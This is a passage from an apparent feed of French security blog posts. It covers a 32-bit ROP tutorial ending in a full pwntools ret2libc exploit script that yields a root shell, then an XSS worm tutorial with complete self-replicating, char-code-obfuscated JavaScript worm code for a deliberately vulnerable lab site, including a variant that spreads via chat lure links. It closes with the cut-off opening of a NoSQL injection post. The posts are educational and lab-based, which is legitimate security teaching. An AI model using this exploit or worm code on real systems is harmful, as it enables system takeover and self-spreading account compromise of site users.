<p>Actuellement, nous avons l'adresse de <em>scanf</em> dans la libc mais pas celle de <em>system</em>.</p> <p>Heureusement, nous pouvons la calculer facilement car l'écart entre deux fonctions de la libc est toujours le même. </p> <p>Ainsi scanfLibc -/+ offset = systemLibc.</p> <p>La librairie pwntools permet de calculer l'offset de différence très facilement : </p> <div class="highlight"><pre><span></span><code><span class="n">leak_system</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span> </code></pre></div> <p>Nous avons déjà notre gadget pop;ret; afin de mettre un argument sur la stack, ici "/bin/sh".</p> <p>La chaîne "/bin/sh" est présente dans la libc ainsi que dans la variable SHELL de l'environnement du programme.</p> <p>Calcul de l'adresse de "/bin/sh" avec pwntools :</p> <div class="highlight"><pre><span></span><code><span class="n">leak_binsh</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span> </code></pre></div> <p>La suite de notre ropchain sera donc :</p> <div class="highlight"><pre><span></span><code><span class="c">ropchain = systemLibc </span><span class="nb">+</span><span class="c"> addrPopEbxRet </span><span class="nb">+</span><span class="c"> addrBinsh</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| Adresse system |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| 0x080482f5 : pop ebx ; ret; |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| Adresse &quot;/bin/sh&quot; |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> </code></pre></div> <p>On résume la méthode :</p> <ul> <li>On leak une adresse de la libc grâce à un ret2plt de <em>puts</em> (<em>printf</em> ou <em>send</em> marchent aussi)</li> <li>On calcule l'adresse de <em>system</em> et de /bin/sh à partir de ce leak</li> <li>On fait un ret2libc vers system() pour avoir un shell</li> </ul> <p>On test notre script qui contient la ropchain complète :</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">b</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/lib32/libc.so.6&#39;</span><span class="p">)</span> <span class="c1"># &quot;info sharedlibrary&quot; sous gdb pour connaître le chemin de votre libc</span> <span class="n">DEBUG</span> <span class="o">=</span> <span class="kc">False</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="n">buf</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">if</span><span class="p">(</span><span class="n">DEBUG</span><span class="p">):</span> <span class="nb">print</span> <span class="n">buf</span> <span class="k">return</span> <span class="n">buf</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span><span class="p">,</span> <span class="n">b</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input:&quot;</span><span class="p">)</span> <span class="c1"># pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :</span> <span class="n">addrmain</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span> <span class="c1"># 0x8048477</span> <span class="n">pr</span> <span class="o">=</span> <span class="mh">0x080482f5</span> <span class="c1">#: pop ebx ; ret</span> <span class="n">gotscanf</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;got.__isoc99_scanf&#39;</span><span class="p">]</span> <span class="c1"># 0x804975c</span> <span class="n">pltputs</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span> <span class="c1"># 0x8048310 </span> <span class="n">padding</span><span class="o">=</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">76</span> <span class="n">start</span><span class="p">()</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Construct ropchain&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="n">padding</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pltputs</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">gotscanf</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">addrmain</span><span class="p">)</span> <span class="c1"># p32 permet de &quot;pack&quot; une adresse : 0x61616161 -&gt; &quot;aaaa&quot;</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Get scanf leak&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="n">leak</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s1">&#39;Input:&#39;</span><span class="p">)</span> <span class="n">leak_scanf</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="mi">6</span><span class="p">])</span> <span class="n">leak_system</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;__isoc99_scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span> <span class="n">leak_binsh</span> <span class="o">=</span> <span class="n">leak_scanf</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;__isoc99_scanf&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">&#39;/bin/sh</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak got scanf: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_scanf</span><span class="p">)))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak system: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_system</span><span class="p">)))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak /bin/sh: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_binsh</span><span class="p">)))</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Get shell&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="n">padding</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">leak_system</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">leak_binsh</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="c1"># Interactive shell</span> <span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> </code></pre></div> <p>Résultat : </p> <div class="highlight"><pre><span></span><code>$ id <span class="nv">uid</span><span class="o">=</span><span class="m">0</span><span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span><span class="m">0</span><span class="o">(</span>root<span class="o">)</span> <span class="nv">groupes</span><span class="o">=</span><span class="m">0</span><span class="o">(</span>root<span class="o">)</span> </code></pre></div> <p><img src="https://dailysecurity.fr/images/likeaboss.gif" alt="Likeaboss" style="width: 50%;"/></p> <p>Vous connaissez maintenant la technique de ROP la plus utilisée et qui ne nécessite pas beaucoup de gadget (un pop;ret; et une fonction d'affichage).</p> <p>J'utilise personnellement cette technique à chaque fois que je dois faire un ROP en raison de sa simplicité de mise en place.</p> <p>La plupart des autres méthodes de ROP dérivent de cette technique.</p> <p>J'ai uniquement parlé ici du ROP en 32 bits mais le schéma d'exécution reste le même pour le 64 bits : la seule différence étant que les arguments sont passés par registres et non plus sur la stack. </p> <p>Les gadgets pop doivent donc correspondre aux bons registres :</p> <div class="highlight"><pre><span></span><code><span class="mf">1</span><span class="n">er</span><span class="w"> </span><span class="n">argument</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span> <span class="mf">2</span><span class="n">ème</span><span class="w"> </span><span class="n">argument</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rsi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span> <span class="mf">3</span><span class="n">ème</span><span class="w"> </span><span class="n">argument</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span> </code></pre></div> <p>Cette différence est liée au système d'appel des fonctions disponible <a href="https://w3challs.com/syscalls/?arch=x86_64">ici</a>.</p> <p>De plus, en 64 bits, il existe dans la libc un "magic gadget" qui permet d'exécuter un shell directement sans connaitre l'adresse de <em>system</em> ou de "/bin/sh", plus d'informations <a href="https://github.com/m1ghtym0/magic_gadget_finder">ici</a>.</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les Vers XSS: Game of Life2015-03-10T17:56:00+01:002015-03-10T17:56:00+01:00Geluchattag:www.dailysecurity.fr,2015-03-10:/les-vers-xss<p>L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.</p> <p>Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.</p> <p>En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée …</p><p>L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.</p> <p>Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.</p> <p>En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée a été plus tardive.</p> <p>Le plus connu d'entre eux est sans aucun doute le ver Samy qui a infecté le réseau MySpace en 2005.</p> <p>Je vous conseille d'ailleurs de lire <a href="https://samy.pl/popular/">l'histoire</a> du créateur de ce ver qui a mis à disposition <a href="https://samy.pl/popular/tech.html">son code</a> ainsi que ses réactions heure par heure pendant le déploiement de son ver.</p> <p>Une fois de plus, ce ver n’était pas nocif et se contentait simplement de poster un message sur le profil de la personne ("But most of all, samy is my hero") ainsi que de l'ajouter en ami.</p> <p>Après cette petite introduction, passons à un exemple.</p> <p>Pour commencer, j'ai créé un site faillible permettant de tester les <strong>vers XSS</strong>, il est composé de quatre parties :</p> <ul> <li>Connexion au site</li> <li>Un tchat en ligne</li> <li>L'affichage du profil</li> <li>L'affichage des profils des autres comptes</li> </ul> <p>Il est disponible <a href="https://github.com/Geluchat/Vulnerable/tree/master/Vers%20XSS">ici</a>.</p> <p>Pour le configurer, rien de plus simple :</p> <ul> <li>Créer une base de données "Ver"</li> <li>Importer le fichier bdd.sql</li> <li>Mettre les bons identifiants dans le fichier bdd.php</li> </ul> <p>Voilà, vous êtes prêts pour la suite de cet article !</p> <p>Si vous avez survolé le site, vous aurez sans doute remarqué que le profil contient une option "humeur".</p> <p>Cette humeur correspond à une sorte de "message d'état", un petit mot que la personne peut laisser sur son profil.</p> <p>Le champ <em>humeur</em> ainsi que le tchat sont tous deux faillibles au XSS.</p> <p>Pour notre exemple nous allons passer par le champ "humeur"; cela nous permettra de laisser cours à notre imagination lors de la dernière partie de cet article.</p> <p>Procédons, maintenant au schéma d'attaque :</p> <ul> <li>Nous allons nous connecter en tant que Alice puis infecter notre profil.</li> <li>Ensuite nous nous connecterons en tant que Admin puis visiterons le profil d'Alice.</li> <li>Enfin nous vérifierons que nous avons bel et bien été infecté à notre tour.</li> </ul> <p>Sans tarder, voici le code du ver que nous allons utiliser :</p> <div class="highlight"><pre><span></span><code><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="ow">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">104</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">61</span><span class="p">,</span><span class="mf">73</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">102</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">60</span><span class="p">,</span><span class="mf">115</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">32</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">61</span><span class="p">,</span><span class="mf">34</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">119</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">34</span><span class="p">,</span><span class="mf">62</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">60</span><span class="p">,</span><span class="mf">47</span><span class="p">,</span><span class="mf">115</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">62</span><span class="p">)));</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </code></pre></div> <p>Une petite explication s'impose.</p> <p>On ouvre une requête HTTP :</p> <div class="highlight"><pre><span></span><code><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="ow">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> </code></pre></div> <p>La ligne suivante correspond à <code>humeur=Infected&lt;script id="owned"&gt;</code> :</p> <p><em>ps : Elle est encodée car le Javascript est très pointilleux avec ses mots clés.</em></p> <div class="highlight"><pre><span></span><code><span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">104</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">61</span><span class="p">,</span><span class="mf">73</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">102</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">60</span><span class="p">,</span><span class="mf">115</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">32</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">61</span><span class="p">,</span><span class="mf">34</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">119</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">34</span><span class="p">,</span><span class="mf">62</span><span class="p">);</span> </code></pre></div> <p>Passons ensuite à la ligne la plus importante, elle récupère le code du ver grâce à l'id que nous avons défini à l'aide de la première instruction :</p> <div class="highlight"><pre><span></span><code><span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> </code></pre></div> <p>On ferme ensuite la balise script :</p> <div class="highlight"><pre><span></span><code><span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">60</span><span class="p">,</span><span class="mf">47</span><span class="p">,</span><span class="mf">115</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">62</span><span class="p">)));</span> </code></pre></div> <p>Enfin, on envoie le ver sur le profil personnel de la personne et on affiche un pop-up qui signale l'infection :</p> <div class="highlight"><pre><span></span><code><span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </code></pre></div> <p>Ce qui donne en action :</p> <p><img src="https://www.dailysecurity.fr/images/Alice-before.png" alt="Alice-before" style="width: 50%;"></p> <hr> <p>On change l'humeur par le script :</p> <hr> <p><img alt="Alice-After" src="https://www.dailysecurity.fr/images/Alice-After.png"></p> <hr> <p>Puis, on se connecte en Admin :</p> <hr> <p><img src="https://www.dailysecurity.fr/images/Admin-Before.png" alt="Admin-before" style="width: 50%;"></p> <hr> <p>Et enfin, on accède à <code>affiche.php?id=2</code>, l'id 2 étant l'id d'Alice :</p> <hr> <p><img alt="Admin-After" src="https://www.dailysecurity.fr/images/Admin-After.png"></p> <hr> <p>On constate que l'utilisateur Admin a bien été infecté en consultant le profil d’Alice !</p> <p><img src="https://dailysecurity.fr/images/ohyes.gif" alt="Oh Yes" style="width: 35%;"></p> <p>Pour aller plus loin, on peut s'amuser à rajouter une fonction qui envoie un message dans le tchat avec le lien du profil à chaque infection.</p> <p>Afin de rendre l'exercice plus amusant, nous allons utiliser une sélection aléatoire de la chaine à envoyer dans le tchat :</p> <div class="highlight"><pre><span></span><code><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="ow">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">104</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">109</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">117</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">61</span><span class="p">,</span><span class="mf">73</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">102</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">60</span><span class="p">,</span><span class="mf">115</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">32</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">61</span><span class="p">,</span><span class="mf">34</span><span class="p">,</span><span class="mf">111</span><span class="p">,</span><span class="mf">119</span><span class="p">,</span><span class="mf">110</span><span class="p">,</span><span class="mf">101</span><span class="p">,</span><span class="mf">100</span><span class="p">,</span><span class="mf">34</span><span class="p">,</span><span class="mf">62</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mf">60</span><span class="p">,</span><span class="mf">47</span><span class="p">,</span><span class="mf">115</span><span class="p">,</span><span class="mf">99</span><span class="p">,</span><span class="mf">114</span><span class="p">,</span><span class="mf">105</span><span class="p">,</span><span class="mf">112</span><span class="p">,</span><span class="mf">116</span><span class="p">,</span><span class="mf">62</span><span class="p">)));</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">randomstring</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;[PDF] Pirater comme un nul&quot;</span><span class="p">,</span> <span class="s2">&quot;[Tuto] BruteForce Facebook&quot;</span><span class="p">,</span> <span class="s2">&quot;[TUTO] Hack Hotmail&quot;</span><span class="p">,</span> <span class="s2">&quot;[INFO] Aller sur le deepweb&quot;</span><span class="p">];</span> <span class="nx">post</span><span class="o">=</span><span class="s2">&quot;message=&lt;a href=%22./affiche.php?id=1%22&gt;&quot;</span><span class="p">;</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">randomstring</span><span class="p">[</span><span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="nx">randomstring</span><span class="p">.</span><span class="nx">length</span><span class="p">)]);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">&quot;&lt;/a&gt;&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">http2</span> <span class="o">=</span> <span class="ow">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/shout.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </code></pre></div> <p>Vous savez maintenant créer votre propre ver XSS ainsi que le modifier pour lui ajouter des fonctions.</p> <p>Ces fonctions peuvent être diverses et ne sont limitées que par votre imagination (Changement de mot de passe, Command and Control, Bypass Token, etc.).</p> <p>Pour empêcher les Vers XSS sur votre site, il suffit tout simplement de le sécuriser des XSS Classiques (grâce à la fonction html_entities()).</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les NOSQL injections Classique et Blind: Never trust user input2015-02-22T05:21:00+01:002015-02-22T05:21:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-22:/nosql-injections-classique-blind<p>Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.</p> <p>On peut en citer plusieurs telles que:</p> <ul> <li>DynamoDB</li> <li>MongoDB</li> 